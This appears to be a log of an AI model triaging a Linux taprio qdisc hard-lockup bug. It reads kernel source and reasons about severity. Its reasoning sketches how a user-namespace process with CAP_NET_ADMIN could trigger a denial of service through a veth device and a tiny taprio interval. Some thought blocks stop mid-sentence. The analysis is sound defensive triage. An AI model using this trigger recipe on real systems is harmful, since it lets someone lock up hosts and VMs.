tools/testing/selftests/net/veth.sh:337:	ip netns exec $NS_SRC ethtool -L veth$SRC tx 3 2>/dev/null &&\
tools/testing/selftests/net/veth.sh-338-		echo "fail - set operation successful ?!?" || echo " ok "
--
tools/testing/selftests/net/veth.sh=346=chk_tso_flag "        - peer tso flag" $DST on
tools/testing/selftests/net/veth.sh:347:ip netns exec $NS_DST ethtool -K veth$DST rx-udp-gro-forwarding on
tools/testing/selftests/net/veth.sh-348-chk_gro "        - no aggregation" 10
tools/testing/selftests/net/veth.sh:349:ip netns exec $NS_DST ethtool -K veth$DST generic-receive-offload on
tools/testing/selftests/net/veth.sh-350-chk_gro_flag "        - gro flag with GRO on" $DST on
--
tools/testing/selftests/net/veth.sh=357=chk_gro_flag "        - peer flag" $SRC off
tools/testing/selftests/net/veth.sh-358-
tools/testing/selftests/net/veth.sh:359:ip netns exec $NS_DST ethtool -K veth$DST gro on
tools/testing/selftests/net/veth.sh-360-ip -n $NS_DST link set dev veth$DST xdp off
--
tools/testing/selftests/net/veth.sh=366=if [ $CPUS -gt 1 ]; then
tools/testing/selftests/net/veth.sh:367:	ip netns exec $NS_DST ethtool -L veth$DST tx 1
tools/testing/selftests/net/veth.sh-368-	chk_channels "decreasing tx channels with device down" $DST 2 1
--
tools/testing/selftests/net/veth.sh=375=if [ $CPUS -gt 1 ]; then
--
tools/testing/selftests/net/veth.sh-379-	ip -n $NS_SRC link set dev veth$SRC down
tools/testing/selftests/net/veth.sh:380:	ip netns exec $NS_DST ethtool -L veth$DST tx 2
tools/testing/selftests/net/veth.sh-381-	chk_channels "increasing tx channels with device down" $DST 2 2
--
tools/testing/selftests/net/veth.sh=384=fi
tools/testing/selftests/net/veth.sh-385-
tools/testing/selftests/net/veth.sh:386:ip netns exec $NS_DST ethtool -K veth$DST gro off
tools/testing/selftests/net/veth.sh:387:ip netns exec $NS_SRC ethtool -K veth$SRC tx-udp-segmentation off
tools/testing/selftests/net/veth.sh-388-chk_gro "aggregation again with default and TSO off" 10
]

gemini-3.1-pro-preview

							input: 119989
							output: 19
							thoughts: 546
						

**Analyzing Network Device Characteristics and Scheduling**

Okay, so I'm looking at this code and trying to understand how network scheduling works, specifically with the `veth` device. The initial thought was that `veth` probably doesn't support setting link settings, but, wait, `veth_get_link_ksettings` *is* implemented! Interesting. Looking at the code for that function, it shows a default speed of `SPEED_10000`, which translates to 10 Gbps.

Now, let me think about the implications of this speed. For 10 Gbps, the calculation goes: `picos_per_byte` would be `1,000,000 * 8 / 10,000`, which gives me 800. So `length_to_duration(q, 60)` calculates to `60 * 800 / 1000`, or 48 ns. Therefore, the `min_duration` is 48 ns for this particular setup.

If `interval` is set to this `min_duration` of 48 ns, `advance_sched` will increment the `end_time` by 48 ns with each iteration. Okay, so now I'm thinking about the interrupt handler and how long it takes. Let's say the interrupt handler takes 1000 ns.  Then it would loop roughly `1000 / 48`, which is about 20 times to catch up. But hold on, the `now` variable, which represents the current time, advances by 1000 ns during the first iteration, because that's the time the interrupt handler takes!

So, say the loop takes 10 ns per iteration.  `end_time` increases by 48 ns, but `now` increases by 10 ns. So, `end_time` *will* catch up, because 48 is bigger than 10. The `end_time` will always catch the `now` up.

But, what happens if the `interval` is really small, like 4 ns? If `interval` is only 4 ns, then `end_time` goes up by 4 ns, but `now` *still* goes up by 10 ns each loop, so `end_time` will *never* catch `now`.  That's a problem! But, since `veth` is 10 Gbps, `min_duration` is, in fact, 48 ns, so that edge case isn't relevant for `veth`.

I wonder, could we create a device with a speed of, say, 100 Gbps? The reproducer uses `team0`, which might be a more interesting device to consider here. I'll need to explore the characteristics of the `team` device further.

map[Expression:ethtool.*team]

map[Output:drivers/net/team/team_core.c=2074=static int team_ethtool_get_link_ksettings(struct net_device *dev,
--
drivers/net/team/team_core.c-2100-
drivers/net/team/team_core.c:2101:static const struct ethtool_ops team_ethtool_ops = {
drivers/net/team/team_core.c-2102-	.get_drvinfo		= team_ethtool_get_drvinfo,
--
drivers/net/team/team_core.c=2164=static void team_setup(struct net_device *dev)
--
drivers/net/team/team_core.c-2172-	dev->netdev_ops = &team_netdev_ops;
drivers/net/team/team_core.c:2173:	dev->ethtool_ops = &team_ethtool_ops;
drivers/net/team/team_core.c-2174-	dev->needs_free_netdev = true;
--
tools/testing/selftests/drivers/net/team/propagation.sh=23=team_lro()
--
tools/testing/selftests/drivers/net/team/propagation.sh-32-	ip link set team0 up
tools/testing/selftests/drivers/net/team/propagation.sh:33:	ethtool -K team0 large-receive-offload off
tools/testing/selftests/drivers/net/team/propagation.sh-34-
]

gemini-3.1-pro-preview

							input: 121580
							output: 52
							thoughts: 18
						

Okay, let's dive into this. Here's my thought process on checking `team_ethtool_get_link_ksettings`:

**Analyzing `team_ethtool_get_link_ksettings`**

Alright, I need to get a handle on what this function is doing. `team_ethtool_get_link_ksettings`... sounds like it's part of a team driver, likely related to Ethernet teaming, which I'm familiar with, of course. It's almost certainly responsible for retrieving link-specific settings, potentially related to speed, duplex, autonegotiation, or even vendor-specific parameters, and getting them from ethtool. I need to understand *how* it's doing that. Is it using standard ethtool ioctls, or is it building some specific, possibly proprietary, interface? Knowing that will influence how I’d approach any debugging or modification.

I'd want to quickly assess where this function sits within the larger `team` codebase. Is it called directly by ethtool or is it an internal function within the team driver's netdevice operations? I'd expect it to be hooked up to the ethtool interface, but understanding its place in the calling sequence is important. Knowing the exact point of entry tells me if I am looking at a symptom or the cause of an issue.

Then, the nitty-gritty: what data structures is it using? Are there any potential buffer overflows or format string vulnerabilities inherent in the data transfer and processing? Let's see how well error handling is implemented. Are there checks for null pointers, invalid parameters, and unexpected return values from any ethtool calls or other library functions? Those are the classic spots for subtle bugs that can lead to instability, and that I'm keen to catch. Any use of `memcpy` or similar operations should be scrutinized.

Ultimately, I’m trying to verify that this function properly and safely fetches link settings from ethtool and presents them correctly, without crashing, leaking, or causing any other nasty surprises within the team driver.

map[ContextFile:drivers/net/team/team_core.c IncludeLines:true Name:team_ethtool_get_link_ksettings]

map[SourceCode:2074:	static int team_ethtool_get_link_ksettings(struct net_device *dev,
2075:						   struct ethtool_link_ksettings *cmd)
2076:	{
2077:		struct team *team= netdev_priv(dev);
2078:		unsigned long speed = 0;
2079:		struct team_port *port;
2080:	
2081:		cmd->base.duplex = DUPLEX_UNKNOWN;
2082:		cmd->base.port = PORT_OTHER;
2083:	
2084:		rcu_read_lock();
2085:		list_for_each_entry_rcu(port, &team->port_list, list) {
2086:			if (team_port_txable(port)) {
2087:				if (port->state.speed != SPEED_UNKNOWN)
2088:					speed += port->state.speed;
2089:				if (cmd->base.duplex == DUPLEX_UNKNOWN &&
2090:				    port->state.duplex != DUPLEX_UNKNOWN)
2091:					cmd->base.duplex = port->state.duplex;
2092:			}
2093:		}
2094:		rcu_read_unlock();
2095:	
2096:		cmd->base.speed = speed ? : SPEED_UNKNOWN;
2097:	
2098:		return 0;
2099:	}
 SourceFile:drivers/net/team/team_core.c]

gemini-3.1-pro-preview

							input: 122524
							output: 45
							thoughts: 1134
						

**Infinite Loop in taprio qdisc - A Security Vulnerability**

Okay, so I'm thinking about how the `team` device's speed works. It's the sum of its ports, right? If I add a bunch of 10 Gbps `veth` ports to a `team` device, I can theoretically get speeds of, say, 100 Gbps or even 1000 Gbps (1,000,000 Mbps). That's a lot!

Now, the `taprio` qdisc comes into play. If the speed is, say, 1000 Gbps, then the calculation for `picos_per_byte` comes out to 8. But wait, there's a minimum `TAPRIO_PICOS_PER_BYTE_MIN` of 17. So, `picos_per_byte` is going to be clamped to 17.  This means the resulting `min_duration` will be 1 ns, right? `length_to_duration(q, 60)` will be `60 * 17 / 1000` = 1 ns.

Here's the problem: if the `interval` is also 1 ns, and each iteration of `advance_sched` takes, say, 10 ns, `end_time` only increases by 1 ns, while `now` increases by 10 ns. This means `end_time` will *never* catch up!  It's an infinite loop!

And here's the scary part: an unprivileged user in a user namespace can trigger this! They just need to create a user namespace and a network namespace, a `team` device, add a bunch of `veth` pairs to make the speed super high, attach `taprio` to that `team` device with an `interval` of 1 ns, and... boom! The `advance_sched` hrtimer fires and loops forever. Hard lockup! No `CAP_SYS_TIME` needed!

I need to double-check that this 1 ns interval is even *allowed*. It seems like it *is* because `min_duration` is 1 ns. And, critically, the `interval` is set through a netlink message, so it *can* be set to 1.  Right, in the code:

```c
		if (tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL])
			interval = nla_get_u32(
				tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL]);
```

Okay, so `interval` can be 1.  And `cycle_time` is the sum of all intervals. If there's just one entry with an interval of 1, then the `cycle_time` is 1! Now, the `taprio_get_start_time` function calculates `start` as `base + (n + 1) * cycle`. If the cycle is 1 ns, `start` is at most 1 ns in the future.  When `hrtimer_start` is called, it *might* already be in the past. This will trigger the infinite loop!

Let's carefully examine the `advance_sched` function again.

```c
	if (should_restart_cycle(oper, entry)) {
		next = list_first_entry(&oper->entries, struct sched_entry,
					list);
		oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
						    oper->cycle_time);
	} else {
		next = list_next_entry(entry, list);
	}

	end_time = ktime_add_ns(entry->end_time, next->interval);
	end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
```

Okay, `end_time` is advanced by `next->interval`. If `interval` is 1 ns, then `end_time` is advanced by 1 ns. Then `hrtimer_set_expires(&q->advance_timer, end_time);` Then `return HRTIMER_RESTART;`

In `__run_hrtimer`:

```c
	restart = fn(timer);
	if (restart != HRTIMER_NORESTART &&
	    !(timer->state & HRTIMER_STATE_ENQUEUED))
		enqueue_hrtimer(timer, base, HRTIMER_MODE_ABS);
```

Then in `__hrtimer_run_queues`:

```c
		while ((node = timer

map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__hrtimer_run_queues]

map[SourceCode:1809:	static void __hrtimer_run_queues(struct hrtimer_cpu_base *cpu_base, ktime_t now,
1810:					 unsigned long flags, unsigned int active_mask)
1811:	{
1812:		struct hrtimer_clock_base *base;
1813:		unsigned int active = cpu_base->active_bases & active_mask;
1814:	
1815:		for_each_active_base(base, cpu_base, active) {
1816:			struct timerqueue_node *node;
1817:			ktime_t basenow;
1818:	
1819:			basenow = ktime_add(now, base->offset);
1820:	
1821:			while ((node = timerqueue_getnext(&base->active))) {
1822:				struct hrtimer *timer;
1823:	
1824:				timer = container_of(node, struct hrtimer, node);
1825:	
1826:				/*
1827:				 * The immediate goal for using the softexpires is
1828:				 * minimizing wakeups, not running timers at the
1829:				 * earliest interrupt after their soft expiration.
1830:				 * This allows us to avoid using a Priority Search
1831:				 * Tree, which can answer a stabbing query for
1832:				 * overlapping intervals and instead use the simple
1833:				 * BST we already have.
1834:				 * We don't add extra wakeups by delaying timers that
1835:				 * are right-of a not yet expired timer, because that
1836:				 * timer will have to trigger a wakeup anyway.
1837:				 */
1838:				if (basenow < hrtimer_get_softexpires_tv64(timer))
1839:					break;
1840:	
1841:				__run_hrtimer(cpu_base, base, timer, &basenow, flags);
1842:				if (active_mask == HRTIMER_ACTIVE_SOFT)
1843:					hrtimer_sync_wait_running(cpu_base, flags);
1844:			}
1845:		}
1846:	}
 SourceFile:kernel/time/hrtimer.c]

gemini-3.1-pro-preview

							input: 125355
							output: 44
							thoughts: 2944
						

**Analysis of the Taprio qdisc Hard Lockup Vulnerability**

Okay, so I've been dissecting this Taprio qdisc issue, and here's what I've got. The core problem boils down to a loop within the `__hrtimer_run_queues` function.  It gets triggered by the relationship between `basenow` (the time the interrupt fires) and `end_time` (the target time for the next interrupt), both of which are ktime_t timestamps.  `basenow` is calculated *before* the loop, based on the current time and an offset. `end_time` is updated inside a loop and comes from the hrtimer data structure, and is usually an interval after the start time set in `taprio_start_sched`, advanced by `advance_sched` each time the interrupt handler is called.

The vulnerability comes into play when there's a significant disparity between `basenow` and `end_time`, causing the loop to iterate excessively. If `basenow` is in the future relative to `end_time` when the handler gets the interrupt, the loop executes repeatedly, each time advancing `end_time` by the interval. If the interval is small and `basenow` is much larger than `end_time`, it is easy to see that an attacker can control the loop duration and, therefore, the CPU utilization of the system. 

The initial reproducer uses `clock_adjtime` to jump the system clock forward by four years, which makes `basenow` gigantic.  `end_time` advances by a small interval on each iteration. In that case, `(basenow - end_time) / interval` can be a gigantic number of iterations, leading to a hard lockup due to excessive CPU usage and RCU stall.

But here's the kicker: this can be exploited *without* `clock_adjtime`. If the time difference between `basenow` and `end_time` is big enough, this is enough to trigger the same issue. By preempting the thread after `taprio_get_start_time` and before `taprio_start_sched`, we can make `start` old and cause an extreme difference.  Then, when the thread resumes, `end_time` is effectively set in the past relative to the current time (`basenow`). This would also generate a huge number of iterations in the loop. The larger `(basenow - end_time)` is and the smaller the interval, the more devastating the CPU usage is.

The real doozy is that by setting `interval` to 1 ns, and the network interface speed fast enough to cause this, it's possible to trigger a constant interrupt storm. If the interrupt fires every 1 ns, the CPU is permanently stuck in the interrupt handler, essentially a denial-of-service condition. This is possible if we use high-speed network interfaces.

Now, checking the kernel code, there isn't a hard limit on the loop's iterations.  `advance_sched` only bounds `end_time` by `oper->cycle_end_time` but doesn't actually limit the number of loops.

The really worrying part is that `taprio` can be set up from a user namespace. The `tc` command will autoload the necessary module as long as the user has CAP_NET_ADMIN in that namespace. That means an unprivileged user can create a `team` device, add multiple `veth` ports to it (simulating a very fast network), and then attach `taprio` with a 1 ns interval. This allows an unprivileged user to create a denial-of-service condition (interrupt storm).

While `clock_adjtime` isn't accessible from user namespaces (requires `CAP_SYS_TIME` in the init namespace), the interrupt storm method is. This makes the bug accessible from user namespaces!

Now, what about other scenarios? Suspending and resuming the system is another way to trigger this. If the system is suspended for a significant period, `basenow` is much larger when it wakes up, and `end_time` may be in the past, leading to a massive loop. Since suspending is a common operation, this makes the bug much more dangerous.

In essence, setting an extremely short `interval`, or setting a small `interval` and suspending the system, can cause the same interrupt storm and resulting hard lockup.

map[ContextFile:drivers/net/team/team_core.c IncludeLines:true Name:team_newlink]

map[SourceCode:2204:	static int team_newlink(struct net_device *dev,
2205:				struct rtnl_newlink_params *params,
2206:				struct netlink_ext_ack *extack)
2207:	{
2208:		struct nlattr **tb = params->tb;
2209:	
2210:		if (tb[IFLA_ADDRESS] == NULL)
2211:			eth_hw_addr_random(dev);
2212:	
2213:		return register_netdevice(dev);
2214:	}
 SourceFile:drivers/net/team/team_core.c]

gemini-3.1-pro-preview

							input: 129481
							output: 43
							thoughts: 726
						

**My Assessment of the Interrupt Storm Bug**

Okay, so I've been digging into this vulnerability. My initial thought is that `team_newlink` doesn't have any specific capability checks, which means a user namespace could potentially create it. The first thing I have to remember is that the `team` module has to be loaded, but it might auto-load. Then, there's `veth`, which is another one that can be created in a user namespace. All this points to the interrupt storm vector being viable.

Let me see if I can find a different way to trigger this bug. The bug report is talking about an RCU stall, specifically this: `rcu: rcu_preempt kthread starved for 10210 jiffies!`. It's got an RCU grace-period kthread stack dump, indicating this RCU stall. The reproducer leverages `clock_adjtime`, so that's definitely a vector. Since syzkaller creates the reproducer and runs as root in the init namespace or has `CAP_SYS_TIME`, it can use `clock_adjtime`.

Now, the security implications:

*   **Exploitable:** No, it’s a denial-of-service, a hard lockup due to an infinite loop/interrupt storm. This is not memory corruption or privilege escalation, which is good.
*   **Denial of Service:** Yes, definitely.
*   **Accessible from Unprivileged Processes:** No. You need `CAP_NET_ADMIN` to configure `taprio`.
*   **Accessible from User Namespaces:** Yes, the presence of `CAP_NET_ADMIN` in the user namespace is sufficient to configure `taprio` and trigger the interrupt storm, or by waiting for suspend/resume.
*   **VM Guest Trigger:** Yes, a user in a VM can trigger this to crash the VM, but it doesn't crash the host.
*   **VM Host Trigger in the Confidential Computing Context:** No, this has nothing to do with host-guest interaction; it's a network scheduler bug.
*   **Ethernet Network Trigger:** No, it's triggered by qdisc configuration, not receiving packets.
*   **Other Remote Trigger:** No.
*   **Peripheral Trigger:** No.
*   **Malicious Filesystem Trigger:** No.

Okay, is there any memory corruption? Let me double-check. The `advance_sched` code just loops and updates `end_time`, which is safe.
```c
	end_time = ktime_add_ns(entry->end_time, next->interval);
	end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
```
It doesn't write out of bounds. This is just a logic bug leading to the infinite loop. Therefore, it is definitely not exploitable, only a DoS.

Let me confirm that `taprio` can be configured on a `team` device. The `taprio_init` checks:
```c
	if (!netif_is_multiqueue(dev)) {
		NL_SET_ERR_MSG_MOD(extack, "Multi-queue device is required");
		return -EOPNOTSUPP;
	}
```

Is the `team` device multi-queue? I'll need to check `team_setup` to confirm.

map[ContextFile:drivers/net/team/team_core.c IncludeLines:true Name:team_setup]

map[SourceCode:2164:	static void team_setup(struct net_device *dev)
2165:	{
2166:		struct team *team = netdev_priv(dev);
2167:	
2168:		ether_setup(dev);
2169:		dev->max_mtu = ETH_MAX_MTU;
2170:		team->header_ops_cache = dev->header_ops;
2171:	
2172:		dev->netdev_ops = &team_netdev_ops;
2173:		dev->ethtool_ops = &team_ethtool_ops;
2174:		dev->needs_free_netdev = true;
2175:		dev->priv_destructor = team_destructor;
2176:		dev->priv_flags &= ~(IFF_XMIT_DST_RELEASE | IFF_TX_SKB_SHARING);
2177:		dev->priv_flags |= IFF_NO_QUEUE;
2178:		dev->priv_flags |= IFF_TEAM;
2179:	
2180:		/*
2181:		 * Indicate we support unicast address filtering. That way core won't
2182:		 * bring us to promisc mode in case a unicast addr is added.
2183:		 * Let this up to underlay drivers.
2184:		 */
2185:		dev->priv_flags |= IFF_UNICAST_FLT | IFF_LIVE_ADDR_CHANGE;
2186:		dev->lltx = true;
2187:	
2188:		/* Don't allow team devices to change network namespaces. */
2189:		dev->netns_immutable = true;
2190:	
2191:		dev->features |= NETIF_F_GRO;
2192:	
2193:		dev->hw_features = TEAM_VLAN_FEATURES |
2194:				   NETIF_F_HW_VLAN_CTAG_RX |
2195:				   NETIF_F_HW_VLAN_CTAG_FILTER |
2196:				   NETIF_F_HW_VLAN_STAG_RX |
2197:				   NETIF_F_HW_VLAN_STAG_FILTER;
2198:	
2199:		dev->hw_features |= NETIF_F_GSO_ENCAP_ALL;
2200:		dev->features |= dev->hw_features;
2201:		dev->features |= NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_STAG_TX;
2202:	}
 SourceFile:drivers/net/team/team_core.c]

gemini-3.1-pro-preview

							input: 131707
							output: 45
							thoughts: 38
						

Here's my thought process, as if I were considering this myself:

**Digging into the `team` Device Creation**

Okay, so I'm trying to figure out the nitty-gritty of how the `team` device is actually brought into existence. My first question is: Is this device using `alloc_netdev` or `alloc_netdev_mqs` for its net device allocation? Knowing that will immediately shed light on how it's designed to handle queues and multi-queue capabilities right from the start.

Let's cut to the chase and jump right into the `team_link_ops` structure. That's usually the place to start when digging into the operations of a specific link type. I'm betting that'll tell me precisely how this device is getting allocated and what the setup is. That's usually the place to find the device's setup function. I expect to find the allocator there, or at least a call that eventually leads to it. From there, I can figure out the specifics.

map[ContextFile:drivers/net/team/team_core.c IncludeLines:true Name:team_link_ops]

map[SourceCode:2238:	static struct rtnl_link_ops team_link_ops __read_mostly = {
2239:		.kind			= DRV_NAME,
2240:		.priv_size		= sizeof(struct team),
2241:		.setup			= team_setup,
2242:		.newlink		= team_newlink,
2243:		.validate		= team_validate,
2244:		.get_num_tx_queues	= team_get_num_tx_queues,
2245:		.get_num_rx_queues	= team_get_num_rx_queues,
2246:	};
 SourceFile:drivers/net/team/team_core.c]

gemini-3.1-pro-preview

							input: 132218
							output: 50
							thoughts: 16
						

Okay, here's my interpretation of that thought process, assuming I'm an expert in this field, presented as a first-person summary:

**Checking `team_get_num_tx_queues`**

Alright, before diving too deep, I need a quick sanity check. I need to know the number of transmit queues. The implication is I'm likely dealing with network configuration or performance. Perhaps I'm trying to understand how traffic is being distributed, troubleshoot a bottleneck, or optimize some aspect of the system. Grabbing the value of `team_get_num_tx_queues` will be key in understanding this. That function should quickly tell me the number of transmit queues that are active in the system. The next step depends on what that returns. If it’s high, it may indicate a lot of data, and if it's low, it may indicate a problem with the configuration. Let's see what we get.

map[ContextFile:drivers/net/team/team_core.c IncludeLines:true Name:team_get_num_tx_queues]

map[SourceCode:2228:	static unsigned int team_get_num_tx_queues(void)
2229:	{
2230:		return TEAM_DEFAULT_NUM_TX_QUEUES;
2231:	}
 SourceFile:drivers/net/team/team_core.c]

gemini-3.1-pro-preview

							input: 132576
							output: 42
							thoughts: 1826
						

**Analyzing the TAPRIO Vulnerability**

Okay, let's break this down. First, the `TEAM_DEFAULT_NUM_TX_QUEUES` value of 16 immediately makes me think "multi-queue device," which opens the door for `taprio`. However, `team_setup` setting `dev->netns_immutable = true;` means `team` devices can't be moved between network namespaces, which isn't ideal but we can work around that. They *can* be created within a network namespace, and thus a non-privileged user can likely get a `team` device.

The reproducer shows it gets the ifindex of "team0". Crucially, it doesn't *create* `team0`. Okay, Syzkaller usually sets up those devices, so `team0` is pre-existing. The question is, can a non-privileged user *create* `team0`? Yes, `ip link add team0 type team` using netlink `RTM_NEWLINK` should work because `team_link_ops` implements `team_newlink`.

Now, does this apply to a multi-queue `dummy` device? Yep, `ip link add dummy0 numtxqueues 4 type dummy` proves it. `dummy` interfaces have a 10 Mbps speed. That results in a `min_duration` of 48,000 ns. Using that, a sufficiently small `interval` can cause issues. A 48,000 ns `interval` while the system is suspended for 10 hours will cause a massive loop upon resume or if `clock_adjtime` is used.

But, can we avoid `clock_adjtime` and suspend/resume? Consider `interval` and `cycle_time` set to 48,000 ns. The `advance_sched` function increments `end_time` by 48,000 ns. If the interrupt handler's execution time exceeds 50,000 ns (50 us), we have a problem. This is a plausible scenario with a heavily loaded system, many timers, or a slow CPU. An attacker could potentially introduce cache misses or other interrupts to slow down the handler. If that happens, `end_time` never catches up, leading to an infinite loop. Even with a 48 us interval, the attacker might be able to create an interrupt storm.

Let's look at a smaller `interval`, say, 1 ns. How does that compare to `min_duration`? We can calculate a `min_duration` on a `team` device with 47 `veth` ports. But could we add 47 `veth` ports? Yes, via netlink. However, `veth` devices run at 10 Gbps. Could we just use a `veth` device directly? `veth` is created with a single queue by default with `alloc_netdev_mqs`, but can easily be configured to have multiple: `ip link add veth0 numtxqueues 4 type veth peer name veth1`. So `taprio` will work on `veth`. With 10 Gbps speeds, `picos_per_byte` = 800, giving `min_duration` = 48 ns. If we set `interval` to 48 ns, the interrupt handler will *definitely* take longer. Interrupt handlers easily take hundreds of nanoseconds.

With `interval` at 48 ns, `end_time` will never catch up! This will cause an infinite loop! Let's check: `advance_sched` adds 48 ns to `end_time`. Running `advance_sched` with the hrtimer framework easily exceeds 100 ns. So, `now` advances > 100 ns, while `end_time` only advances by 48 ns. `end_time` falls further behind `now`. `basenow` is fixed at the start of the loop. Ah, `basenow` is NOT updated in the loop.

So, the loop within `__hrtimer_run_queues` eventually breaks when `end_time > basenow`. But, `basenow` is *not* updated inside the loop, so `end_time` will eventually exceed `basenow`. After the loop breaks, the interrupt handler completes. The hardware timer is then reprogrammed to `end_time`, which is now `basenow + 48 ns`. However, by the time the interrupt handler finishes, the current time is `basenow + 1000 ns`. Therefore, the hardware timer is being programmed to a time *in the past*!

When a hardware timer

map[ContextFile:drivers/net/veth.c IncludeLines:true Name:veth_newlink]

map[SourceCode:1805:	static int veth_newlink(struct net_device *dev,
1806:				struct rtnl_newlink_params *params,
1807:				struct netlink_ext_ack *extack)
1808:	{
1809:		struct net *peer_net = rtnl_newlink_peer_net(params);
1810:		struct nlattr **data = params->data;
1811:		struct nlattr **tb = params->tb;
1812:		int err;
1813:		struct net_device *peer;
1814:		struct veth_priv *priv;
1815:		char ifname[IFNAMSIZ];
1816:		struct nlattr *peer_tb[IFLA_MAX + 1], **tbp;
1817:		unsigned char name_assign_type;
1818:		struct ifinfomsg *ifmp;
1819:	
1820:		/*
1821:		 * create and register peer first
1822:		 */
1823:		if (data && data[VETH_INFO_PEER]) {
1824:			struct nlattr *nla_peer = data[VETH_INFO_PEER];
1825:	
1826:			ifmp = nla_data(nla_peer);
1827:			rtnl_nla_parse_ifinfomsg(peer_tb, nla_peer, extack);
1828:			tbp = peer_tb;
1829:		} else {
1830:			ifmp = NULL;
1831:			tbp = tb;
1832:		}
1833:	
1834:		if (ifmp && tbp[IFLA_IFNAME]) {
1835:			nla_strscpy(ifname, tbp[IFLA_IFNAME], IFNAMSIZ);
1836:			name_assign_type = NET_NAME_USER;
1837:		} else {
1838:			snprintf(ifname, IFNAMSIZ, DRV_NAME "%%d");
1839:			name_assign_type = NET_NAME_ENUM;
1840:		}
1841:	
1842:		peer = rtnl_create_link(peer_net, ifname, name_assign_type,
1843:					&veth_link_ops, tbp, extack);
1844:		if (IS_ERR(peer))
1845:			return PTR_ERR(peer);
1846:	
1847:		if (!ifmp || !tbp[IFLA_ADDRESS])
1848:			eth_hw_addr_random(peer);
1849:	
1850:		if (ifmp && (dev->ifindex != 0))
1851:			peer->ifindex = ifmp->ifi_index;
1852:	
1853:		netif_inherit_tso_max(peer, dev);
1854:	
1855:		err = register_netdevice(peer);
1856:		if (err < 0)
1857:			goto err_register_peer;
1858:	
1859:		/* keep GRO disabled by default to be consistent with the established
1860:		 * veth behavior
1861:		 */
1862:		veth_disable_gro(peer);
1863:		netif_carrier_off(peer);
1864:	
1865:		err = rtnl_configure_link(peer, ifmp, 0, NULL);
1866:		if (err < 0)
1867:			goto err_configure_peer;
1868:	
1869:		/*
1870:		 * register dev last
1871:		 *
1872:		 * note, that since we've registered new device the dev's name
1873:		 * should be re-allocated
1874:		 */
1875:	
1876:		if (tb[IFLA_ADDRESS] == NULL)
1877:			eth_hw_addr_random(dev);
1878:	
1879:		if (tb[IFLA_IFNAME])
1880:			nla_strscpy(dev->name, tb[IFLA_IFNAME], IFNAMSIZ);
1881:		else
1882:			snprintf(dev->name, IFNAMSIZ, DRV_NAME "%%d");
1883:	
1884:		err = register_netdevice(dev);
1885:		if (err < 0)
1886:			goto err_register_dev;
1887:	
1888:		netif_carrier_off(dev);
1889:	
1890:		/*
1891:		 * tie the deviced together
1892:		 */
1893:	
1894:		priv = netdev_priv(dev);
1895:		rcu_assign_pointer(priv->peer, peer);
1896:		err = veth_init_queues(dev, tb);
1897:		if (err)
1898:			goto err_queues;
1899:	
1900:		priv = netdev_priv(peer);
1901:		rcu_assign_pointer(priv->peer, dev);
1902:		err = veth_init_queues(peer, tb);
1903:		if (err)
1904:			goto err_queues;
1905:	
1906:		veth_disable_gro(dev);
1907:		/* update XDP supported features */
1908:		veth_set_xdp_features(dev);
1909:		veth_set_xdp_features(peer);
1910:	
1911:		return 0;
1912:	
1913:	err_queues:
1914:		unregister_netdevice(dev);
1915:	err_register_dev:
1916:		/* nothing to do */
1917:	err_configure_peer:
1918:		unregister_netdevice(peer);
1919:		return err;
1920:	
1921:	err_register_peer:
1922:		free_netdev(peer);
1923:		return err;
1924:	}
 SourceFile:drivers/net/veth.c]

gemini-3.1-pro-preview

							input: 137207
							output: 66
							thoughts: 2620
						

**Analysis of the Taprio Qdisc Interrupt Storm Vulnerability**

Okay, so I've been digging into this `taprio` qdisc issue, and here's my breakdown. First, can an unprivileged user in a user namespace trigger this? The answer is *yes*. We can create a user namespace, spin up a `veth` pair with multiple queues, attach `taprio` to it, set a tiny `interval` of 48 ns, and then *boom* – we've got an interrupt storm. This constitutes a Denial of Service, hands down. It requires `CAP_NET_ADMIN` in the user namespace, but that's easily achievable.

Now, is this an actual *exploit*? No, not in the traditional sense. It's an infinite loop either in `advance_sched` or due to the interrupt handler itself. No memory corruption, no use-after-free, nothing that leads to privilege escalation. It's a logic bug where the scheduling math just doesn't work out. `end_time` doesn't advance quickly enough, causing the timer to fire endlessly. So, purely a DoS.

Let's nail down the attack vectors. The original reproducer used `clock_adjtime` with a large `interval`. This forces a huge loop. My analysis shows that an attacker can also use a small `interval`, and this, combined with the `veth`'s speed (10 Gbps), the time to execute code, and the interrupt storm, is critical. With `veth`, the theoretical minimum `interval` is 48 ns. If we set `interval` to 48 ns, it passes the checks. Then `advance_sched` will advance `end_time` by 48 ns per iteration. Since executing `advance_sched` and the hrtimer framework takes more than 48 ns, `end_time` will always be in the past when the interrupt handler finishes. This will cause an interrupt storm. So yes, it's perfectly possible.

I verified that `taprio` can be attached to `veth` because `veth` can be created with multiple queues. Also, the check `interval < min_duration` has to be satisfied. Given the 10000 Mbps speed of `veth` and with the `taprio_set_picos_per_byte` function, we calculated that `min_duration` is 48 ns and with this knowledge, `interval` can be 48 ns. So, `taprio` can indeed be attached to a `veth` with a 48 ns `interval`.

Also, I checked and the `veth` device speed is definitely 10 Gbps. A `dummy` device doesn't reach the same conditions, so the attacker will use a `veth` device. So, the attack vector with `veth` is valid.

I also double-checked that `clock_adjtime` *cannot* be used from a user namespace since it requires `CAP_SYS_TIME` in the init namespace. Good to know. But, as I've said, the interrupt storm vector is already valid and sufficient.

Finally, I confirmed that `taprio` can be configured in a user namespace as long as `CAP_NET_ADMIN` is present, assuming the module is loaded (or can be loaded).

So, summarizing:

*   **Exploitable:** False (DoS only)
*   **Denial of Service:** True
*   **Unprivileged Process:** False
*   **User Namespace:** True
*   **VM Guest:** True (a user in a VM can crash the VM)
*   **VM Host (Confidential Computing):** False
*   **Network Trigger:** False
*   **Remote/Peripheral/Malicious Filesystem:** False

I'm confident in these findings. It's a solid DoS vulnerability accessible from user namespaces.

map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:true VMHostTrigger:false]

map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:true VMHostTrigger:false]

gemini-3.1-pro-preview

							input: 140802
							output: 853
							thoughts: 602
